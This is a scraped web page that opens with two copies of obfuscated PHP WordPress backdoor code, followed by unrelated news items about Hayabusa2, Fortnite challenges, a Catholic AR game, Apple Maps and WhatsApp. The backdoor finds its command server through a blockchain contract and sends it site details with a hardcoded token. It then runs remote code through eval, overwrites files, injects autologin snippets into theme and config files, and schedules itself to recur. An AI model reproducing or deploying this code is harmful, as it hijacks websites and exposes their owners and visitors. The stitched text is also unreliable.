// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});

Japan’s Hayabusa2 spacecraft has successfully touched down on the surface of asteroid Ryugu to accomplish one of its ultimate goals: collect samples for scientists back on Earth. The probe has briefly landed on the asteroid to fire a bullet into its surface and kick up dust, rocks and any other debris that it can collect. Hayabusa2 has been hovering around Ryugu since mid-2018 and even dropped two landers on the floating rock to study its surface and take photos.
It started its descent on February 21st, 6AM Japan time, taking photos of what it saw as it approached the asteroid. This photo was one of the last it captured before it fired the bullet:

Since it lost contact with its ground team when it touched down, the Japanese Aerospace Exploration Agency had to wait for it take flight again and restore communications. It only took the spacecraft a second to fire that bullet and take off again, though, so we’re now just waiting to hear if it has successfully collected samples.
#Hayabusa2 #JAXA -Big round of applause in the control room Confirmed the program for touchdown , sounds like touchdown has been confirmed! Samples are being captured. pic.twitter.com/3NjcuGjZQJ
— Gene J. Mikulka, CC (@genejm29) February 21, 2019
Here’s an edited version of that video JAXA just showed, where the tantalum bullet fires into the surface. pic.twitter.com/mCLkBoWK94
— Jason Davis (@jasonrdavis) February 21, 2019
This operation was supposed to happen back in October, but the ground team discovered from Ryugu’s surface has much bigger gravel than they thought. They had to perform experiments in the lab before they give the operation a go. Now that this attempt proved successful, they’re expected to fire an explosive into the asteroid later this year to create a crater and collect additional fragments.
Hayabusa2 is scheduled to leave Ryugu in December 2019 and to be back home a year later. The samples it brings back could shed light on what the early solar system was like and could give us more information on the possibility that asteroids seeded Earth with organic matter that led to life on our planet.
Via: Technology Review
Source: JAXA (Twitter)
]]>The best way to get a ton of frequent flyer miles quickly — aside from booking an incredibly expensive and long flight — is signing up for a new credit card and earning its sign-up bonus. This style of “travel hacking” is basically a way get flights or hotel fees for free; you can get a massive haul of points just for opening a new card and spending money that you were going to spend anyway.See the rest of the story at Business Insider
See Also:
SEE ALSO: The best credit card rewards, bonuses, and perks of 2019
![]()
]]>

The 14 Days of Christmas event in Fortnite – a gaming advent calendar of sorts – is up and running, with developer Epic Games announcing new challenges and a specific Limited Time Modes (LTM) into the new year. These challenges require completion by the end of the 14 day period. The annual event also sees new and old Christmas themes skins and cosmetics added to the Fortnite item shop.
Sunday, December 23’s newly-revealed fifth challenge is aerial.
Players must fly an X-4 Stormwing Plane through a succession of golden rings.
You can find them mostly above and below the most noticeable landmarks.
Completing the mission will earn you the Combat Wreath.
Golden Ring 1: South of Frosty Flights
Golden Ring 2: Haunted Hills
Golden Ring 3: The abandoned villain base near Snobby Shores
Golden Ring 4: South of Paradise Palms
Golden Ring 5: The tower at Lonely Lodge
Golden Ring 6: Below the Shifty Shafts bridge
Golden Ring 7: North of Salty Springs
Golden Ring 8: Tomato Temple
Golden Ring 9: The western shore of Loot Lake
Golden Ring 10: The mountain north of Happy Hamlet
Golden Ring 11: Lazy Links
Golden Ring 12: Northwest of Polar Peak
Golden Ring 13: North of Retail Row
The inaugural challenge is a simple one, needing players just need to enter Fortnite’s Creative Mode to complete it and unlock their GG Ornament special spray reward.
Day two’s challenge made players visit two of the massive candy canes placed onto the map during the V7.10 battle royale update, unlocking a Festive Firefight loading screen reward.
Day three’s challenge required players to playing three matches with friends, earning them a new Snowball Toy.
Day four challenged players to throw snowballs at the opposition in different matches, with a snowman Emoticon available for the victor.
Day One: GG Ornament special spray
Day Two: A Festive Firefight loading screen
Day Three: A new Snowball Toy
Day Four: A snowman Emoticon
Day Five: A Combat Wreath
Pokemon Go has been downloaded 800 million times and raised approximately 1.5 billion in revenue since its 2016 launch.
Many have naturally attempted to imitate the innovative explore and collect gameplay.
Follow JC Go is arguably unique among the versions.
For instead of catching monsters, the Christian religion-based game sees players begin a spiritual journey centred on Catholicism.
Like Pokemon Go, a player’s smartphone camera records the environment, then inserts augmented digital characters.
Users progress through the game by correctly answering religious questions when they meet a religious character.
Saints and other biblical characters are collected as you go about your business in your neighbourhood.
Designed by The Vatican, the game users you with collecting famous religious figures to join your “evangelisation team”.
Players also collect virtual water, food and spirituality to boost their in-game health.
Follow JC Go encourages players to worship by prompting them to pause and pray when they pass a church.
And if they are near a hospital users could be asked to pray for the sick.
And another innovative feature allows users to donate to charity via the app.
The Spanish language game launched on October 19, and Italian, English and Portuguese versions are expected soon.
Its creators’ the goal is to teach players of all ages about the Catholic faith.
And the Pope is reportedly said to have given his blessing to the project.
“You know, Francis is not a very technological person, but he was in awe, he understood the idea, what we were trying to do: combine technology with evangelisation,” Ricardo Grzona, executive director of Fundacion Ramon Pane, told Catholic news site Crux Now.
43 designers, theologians, Bible experts, and Church historians are thought to have invested 32,000 hours of work into the app since August 2016.
The game reportedly received $ 500,000 (£39,064) in sponsorship and private donations.
Android users have however given the app a mediocre 3.2/5 rating.
Reviewer JR SV, wrote: “The best app I have on the phone, I feel happy to follow the path of the Lord from my smartphone.”
Will another gave it one star, writing: “I wanted to burn heretics, but it wasn’t possible.”
Less controversial iterations of Pokemon Go have included The Walking Dead: Our World, Ghostbusters World and Jurassic World Alive.
Apple’s quest to improve Maps’ accuracy appears to include some on-foot action. Former Engadget writer Dante Cesa has posted photos of an Apple Maps worker carrying a backpack loaded with cameras, LiDAR sensors and other equipment as he walked through San Francisco. It’s not certain what the exact goal was, but MacRumors speculated that he was collecting details for pedestrian directions.
There’s certainly precedent for it. Google has spent years using Street View Trekkers and similar gear to collect imagery and data for areas where cars either provide incomplete information or simply aren’t an option. This could ensure that Maps points you to pedestrian-only paths more often, or that it knows just which crosswalks to take.
Apple started offering enhanced map detail with iOS 12, but you may not see the on-foot info for a while. The company’s overall map upgrade is only poised to cover northern California by the fall, and it’s not certain that this will include backpack data. Nonetheless, it won’t be surprising if Maps is soon more trustworthy when you’re content to walk where you’re going.
Hello Apple Maps guy. pic.twitter.com/CoBt8iT346
— Dante Cesa (@dantecesa) October 12, 2018
Via: MacRumors
Source: Dante Cesa (Twitter)
]]>
WhatsApp cofounder Jan Koum said in April that he planned to leave Facebook, which bought his company for $ 19 billion in 2014. He’s already sold $ 7.1 billion worth of Facebook shares.
But he’s still showing up to the office, The Wall Street Journal reports, to collect one last payday: $ 450 million in stock.See the rest of the story at Business Insider
NOW WATCH: DermaClip is a needle-less alternative to stitches
See Also:
AND: WhatsApp’s cofounder could be leaving $ 1 billion on the table by quitting Facebook
![]()
]]>
Some of the best cosmetic items are released by Epic Games on the weekend.
And tonight has seen the latest Battle Royale design make its debut – that of the Fortnite Fate skin.
The new outfit is available now in the in-game item shop and match along nicely with last week’s choice.
The Fortnite Omen skin was launched earlier in June, with the two designs paired together in the game’s current season 4 narrative.
The new Legendary outfit is now live to download on PS4, Xbox One, Switch, PC and Mobile platforms, although it will cost you extra.
The Fortnite Fate skin is not part of the Fortnite Battle Pass, and can’t be earned by completing the weekly challenges.
The Fate comes with its own unique Assassin look, as well as a hefty price tag.
Like all Legendary skins, the Fate costs 2,000 V-Bucks, with an accompanying axe also available to purchase.
The Fated Frame Axe Harvesting Tool completes the mystical looks but will cost fans 800 V-Bucks to add to their collection.
There’s also the new Split Wing glider to consider adding to your Fortnite Battle Royale lineup, costing another 800 V-Bucks.
While the whole collection starts to add, luckily for players it doesn’t come with any game-winning bonuses.
Epic Games make it clear that everything in their store is cosmetic only and will not provide you with a stats boost of any kind.
Dataminers actually found the Fate and Omen skins before their release, hiding in one of the game’s most recent updates.
This new item is currently listed in the Fortnite Item Shop, and will only be available for a limited amount of time.
The new Fate outfit will be available for the next two days, after which it will be switched out for another cosmetic.
The new item shop updates comes as fans prepare for the release of Fortnite Battle Royale’s fifth season.
As the Fortnite season 5 release date has been drawing nearer a mysterious countdown timer has appeared in the game.
The countdown has started appearing on TVs dotted around the Battle Royale map.
It’s led fans to thinking this could be a countdown to when the missile is finally launched by The Visitor, sparking the start of Fortnite season 5.
Epic Games have form with this.
The development team have already confirmed that more maps will be added to Fortnite in a post answering frequently asked questions.
Maybe the rumoured missile strike will be what sparks huge changes to the Battle Royale map?
Adding further weight to the missile theory is a massive underground bunker that has been discovered in the Fortnite Battle Royale map.
This area could be used to protect players from a blast.
Other Fortnite season 5 clues could include a mysterious hatch that appeared in Wailing Woods at the start of season 4 which is completely unbreakable.
Is it possible that the hatch leads to another missile shelter?
Epic Games like to share new cosmetic items on the weekend, some of which also turn out to be the most wanted among fans.
And tonight appears to have seen the latest big update to the item shop, this time adding the Fortnite Omen skin.
The new Legendary outfit is now live on PS4, Xbox One, Switch, PC and Mobile platforms, providing an intriguing new look.
The Omen comes with its own unique Cape Back Bling, as well as a hefty price tag.
Like all Legendary skins, the Omen costs 2,000 V-Bucks, which also has an additional item that can make the complete set.
The Oracle Axe Harvesting Tool completes the mystical looks but will cost fans 1,200 V-Bucks to add to their collection.
These new items are available now but comes with a countdown timer on all platforms.
